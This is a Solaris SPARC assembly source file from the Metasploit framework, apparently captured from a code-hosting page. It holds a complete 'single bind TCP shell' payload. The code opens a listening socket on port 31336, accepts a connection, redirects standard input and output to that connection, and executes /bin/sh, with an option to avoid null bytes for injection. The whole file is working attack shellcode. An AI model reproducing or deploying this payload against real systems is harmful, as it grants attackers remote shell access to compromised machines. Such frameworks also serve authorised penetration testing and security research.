Path: blob/master/external/source/shellcode/solaris/sparc/single_bind_tcp.s
19516 views
##1#2# Name: single_bind_tcp3# Platforms: Solaris4# Authors: vlad902 <vlad902 [at] gmail.com>5# Version: $Revision: 1666 $6# License:7#8# This file is part of the Metasploit Exploit Framework9# and is subject to the same licenses and copyrights as10# the rest of this package.11#12# Description:13#14# Single bind TCP shell.15#16##1718.globl main1920main:21andn %sp, 7, %sp2223mov 1, %o424xor %o3, %o3, %o325xor %o3, %o3, %o226mov 0x02, %o127mov 0x02, %o028mov 0xe6, %g129ta 0x083031st %o0, [ %sp - 0x08 ]3233#ifndef NO_NULLS34set 0x00027a68, %l035#else36set 0x27a68fff, %l037srl %l0, 12, %l038#endif39st %l0, [ %sp - 0x10 ]40st %g0, [ %sp - 0x0c ]41sub %sp, 16, %o142mov 0x10, %o243mov 0xe8, %g144ta 0x084546ld [ %sp - 0x08 ], %o047mov 0x01, %o148mov 0xe9, %g149ta 0x085051ld [ %sp - 0x08 ], %o052xor %o1, %o1, %o153or %o1, %o1, %o254mov 0xea, %g155ta 0x085657st %o0, [ %sp - 0x08 ]58mov 3, %o259fcntl_loop:60mov 9, %o161subcc %o2, 1, %o262mov 0x3e, %g163ta 0x086465bnz fcntl_loop66ld [ %sp - 0x08 ], %o06768xor %o3, %o3, %o269set 0x2f62696e, %l070set 0x2f736800, %l171sub %sp, 0x10, %o072sub %sp, 0x08, %o173std %l0, [ %sp - 0x10 ]74st %o0, [ %sp - 0x08 ]75st %g0, [ %sp - 0x04 ]76mov 0x3b, %g177ta 0x08787980